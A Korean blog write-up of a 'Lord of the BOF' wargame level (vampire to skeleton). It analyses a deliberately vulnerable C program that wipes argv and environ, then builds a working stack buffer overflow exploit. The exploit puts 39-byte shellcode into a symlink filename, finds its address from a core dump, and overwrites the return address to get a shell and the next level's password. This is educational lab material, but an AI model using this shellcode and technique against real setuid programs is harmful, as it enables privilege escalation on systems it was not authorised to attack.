-
[LEVEL10] (vampire -> skeleton) : argv hunterWargame/LordOfTheBof (redhat) 2013. 6. 28. 16:20
1. 문제 Source
/* The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i, saved_argc; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } // argc saver saved_argc = argc; strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); // ultra argv hunter! for(i=0; i<saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); }
우선 소스를 살펴보자.
1. 인자의 개수(argc)는 2개 이상.
2. 환경변수(environ) 초기화.
3. argv[1][47]의 값은 \xbf 여야 한다.
4. argv[1] 사이즈는 48 Byte 이하.
5. argv 모두 초기화
이제는 argv 영역을 모두 날려버린다. argv[0]이나 argv[2]를 이용한 꼼수는 이제 통하지 않게 되었다.
2. Stack의 끝부분
argv[0] 부분에 저장되는 파일명은 argv가 초기화 되면서 모두 사라지지만, Stack의 끝부분을 살펴보면 파일명이 남아있다.
우선 gdb로 살펴보기 위해 원본파일을 복사하고 확인해보자.
[vampire@localhost vampire]$ cp skeleton skeletoa
argv[0]부분의 주소를 찾는다.
[vampire@localhost vampire]$ gdb -q skeletoa
(gdb) x/20wx $esp
0xbffffacc: 0x400309cb 0x00000002 0xbffffb14 0xbffffb20
0xbffffadc: 0x40013868 0x00000002 0x08048450 0x00000000
0xbffffaec: 0x08048471 0x08048500 0x00000002 0xbffffb14
0xbffffafc: 0x08048390 0x080486ac 0x4000ae60 0xbffffb0c
0xbffffb0c: 0x40013e90 0x00000002 0xbffffc0e 0xbffffc25
(gdb) x/x 0xbffffb14
0xbffffb14: 0xbffffc0e
이제 argv[0]부터 Stack의 끝까지 String을 뽑아보면 끝부분에 파일명이 있는것을 알 수 있다.
(gdb) x/40s 0xbffffc0e
0xbffffc0e: "/home/vampire/skeletoa"
0xbffffc25: 'A' <repeats 40 times>, "BBBB����"
0xbffffc56: "LESSOPEN=|/usr/bin/lesspipe.sh %s"
...중략...
0xbfffffb2: "5:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:"
0xbfffffe5: "/home/vampire/skeletoa"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
0xbfffffe5 부분에 파일명이 들어있다.
다음으로 프로그램이 끝나기 바로 전 부분에 break point를 걸고, Stack을 확인해보자.
(gdb) b *main+368
Breakpoint 2 at 0x8048670
(gdb) n
Single stepping until exit from function main,
which has no line number information.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����
Breakpoint 2, 0x8048670 in main ()
아까 확인했던 argv[0]부분부터 Stack을 보면, 역시 모두 0으로 초기화 된것이 보인다.
(gdb) x/40wx 0xbffffc0e
0xbffffc0e: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc1e: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc2e: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc3e: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc4e: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc5e: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc6e: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc7e: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc8e: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc9e: 0x00000000 0x00000000 0x00000000 0x00000000
하지만 0xbfffffe5 부분은 여전히 파일명이 초기화 되지 않고 들어가 있다.
(gdb) x/s 0xbfffffe5
0xbfffffe5: "/home/vampire/skeletoa"
그렇다면, LEVEL8과 마찬가지로 파일명에 심볼릭 링크를 이용해 shellcode를 넣은뒤, Stack의 끝부분으로 eip를 변조하면 될듯하다.
3. Exploit
사용할 shellcode는 아래와 같다. (총 39 Byte)
\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3
이상하게도 LEVEL8에서 사용했던 2f 가 없는 shellcode가 동작하지 않아 다른 shellcode를 이용했다.
우선 심볼릭 링크를 이용해 shellcode를 파일명으로 만들자.
[vampire@localhost vampire]$ ln -s skeletoa `python -c "print '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"`
[vampire@localhost vampire]$ ls -l
total 36
lrwxrwxrwx 1 vampire vampire 8 Jul 4 09:52 h?��?h�?SThjo?�h?i0chi0tij?Y�??Iy�A��T -> skeletoa
-rwsr-sr-x 1 vampire vampire 12752 Jul 1 17:11 skeletoa
-rwsr-sr-x 1 skeleton skeleton 12752 Mar 3 2010 skeleton
-rw-r--r-- 1 root root 821 Mar 29 2010 skeleton.c
혹시 또 주소가 달라질 수도 있으니 core를 떨어트려 이를 분석하겠다.
[vampire@localhost vampire]$ ulimit -c unlimited
이제 buffer를 overflow 시켜서 RET를 덮는다.
buffer
SFP
RET
40 Byte
4 Byte
4 Byte
A * 40
BBBB
\xbf\xbf\xbf\xbf
[vampire@localhost vampire]$ `python -c "print './' + '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"` `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����
Segmentation fault (core dumped)
떨어진 core를 분석해보자.
[vampire@localhost vampire]$ gdb -q `python -c "print '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"` core
warning: core file may not match specified executable file.
Core was generated by ` '.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0xbfbfbfbf in ?? ()
(gdb)
대충 스택의 끝부분쪽의 String을 뽑아보면 역시 파일명이 있는것을 볼 수 있다.
(gdb) x/10s 0xbfffffca
0xbfffffca: ""
0xbfffffcb: ""
0xbfffffcc: ""
0xbfffffcd: ""
0xbfffffce: ""
0xbfffffcf: ""
0xbfffffd0: ""
0xbfffffd1: ""
0xbfffffd2: "./h\212��\201h�\fSThjo\212�h\001i0chi0tij\024Y�\f\fIy�A��T�"
0xbffffffc: ""
앞부분에 현재 파일의 경로인 ./ 가 붙어있다. 2 byte 이므로, 이를 더한 0xbfffffd4가 shellcode의 주소가 되겠다.
(gdb) x/s 0xbfffffd4
0xbfffffd4: "h\212��\201h�\fSThjo\212�h\001i0chi0tij\024Y�\f\fIy�A��T�"
이제 사본인 skeletoa의 심볼릭 링크는 지우고, 원본파일인 skelton으로 심볼릭 링크를 만든 뒤 Exploit을 진행하자.
[vampire@localhost vampire]$ rm -rf `python -c "print '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"`
[vampire@localhost vampire]$ ln -s skeleton `python -c "print '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"`
[vampire@localhost vampire]$ bash2
[vampire@localhost vampire]$ `python -c "print './' + '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"` `python -c "print 'A'*40 + 'BBBB' + '\xd4\xff\xff\xbf'"`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����
bash$ my-pass
euid = 510
shellcoder
성공 !
'Wargame > LordOfTheBof (redhat)' 카테고리의 다른 글
[LEVEL11] (skeleton -> golem) : stack destroyer (0) 2013.07.05 [LEVEL9] (troll -> vampire) : check 0xbfff (0) 2013.06.28 [LEVEL8] (orge -> troll) : check argc (0) 2013.06.27 [LEVEL7] (darkelf -> orge) : check argv[0] (0) 2013.06.27 [LEVEL6] (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter (0) 2013.06.27